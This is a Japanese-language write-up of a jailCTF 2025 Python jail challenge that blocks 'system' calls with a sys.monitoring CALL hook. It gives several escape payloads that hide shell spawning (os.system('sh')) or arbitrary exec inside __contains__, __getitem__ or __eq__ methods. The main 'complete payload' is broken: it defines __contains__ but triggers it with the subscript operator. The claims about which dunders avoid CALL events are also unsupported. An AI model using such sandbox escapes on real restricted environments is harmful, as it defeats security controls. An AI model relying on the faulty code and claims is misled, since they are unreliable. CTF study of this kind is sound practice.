jailCTF 2025 - computer-monitor

Challenge

Python 3.12+ の sys.monitoring で関数呼び出しを検出する pyjail。

import sys

def on_call(code, offset, callable, arg0):
    if callable.__name__ == 'system':
        raise RuntimeError("Blocked!")
    return sys.monitoring.DISABLE

sys.monitoring.use_tool_id(1)
sys.monitoring.register_callback(1, sys.monitoring.events.CALL, on_call)
sys.monitoring.set_events(1, sys.monitoring.events.CALL)

code = input()
eval(code)

Solution

`contains` による暗黙的呼び出し

in 演算子は __contains__ を呼び出すが、これは通常の CALL イベントとは異なる扱いを受ける:

class Evil:
    def __contains__(self, item):
        __import__('os').system('sh')
        return True

'x' in Evil()

CALL イベントを回避

__contains__ は CALL ではなく別のイベントカテゴリで処理される場合がある。

完全なペイロード

# __contains__ を定義したオブジェクトを使用
type('E', (), {'__contains__': lambda s, x: __import__('os').system('sh')})()['']

Technical Details

sys.monitoring (Python 3.12+)

PEP 669 で導入された低レベル監視API:

import sys

# ツールIDを登録
sys.monitoring.use_tool_id(1)

# コールバックを登録
sys.monitoring.register_callback(
    1,
    sys.monitoring.events.CALL,
    callback_function
)

# 監視を有効化
sys.monitoring.set_events(1, sys.monitoring.events.CALL)

監視イベントの種類

イベント	説明
`CALL`	関数呼び出し
`RETURN`	関数からの戻り
`LINE`	新しい行の実行
`BRANCH`	分岐
`EXCEPTION_HANDLED`	例外処理

dunder メソッドの特殊性

多くの dunder メソッドは最適化のため、通常の CALL イベントをトリガーしない:

__contains__ (in 演算子)
__getitem__ ([] 演算子)
__add__ (+ 演算子)
__call__ (呼び出し演算子)

Alternative Solutions

別解1: `getitem`

type('E', (), {'__getitem__': lambda s, x: exec(x)})()['import os; os.system("sh")']

別解2: `eq`

type('E', (), {'__eq__': lambda s, x: exec(x)})() == 'payload'

Flag

jail{...}

References

jailCTF 2025 Official
PEP 669 - Low Impact Monitoring for CPython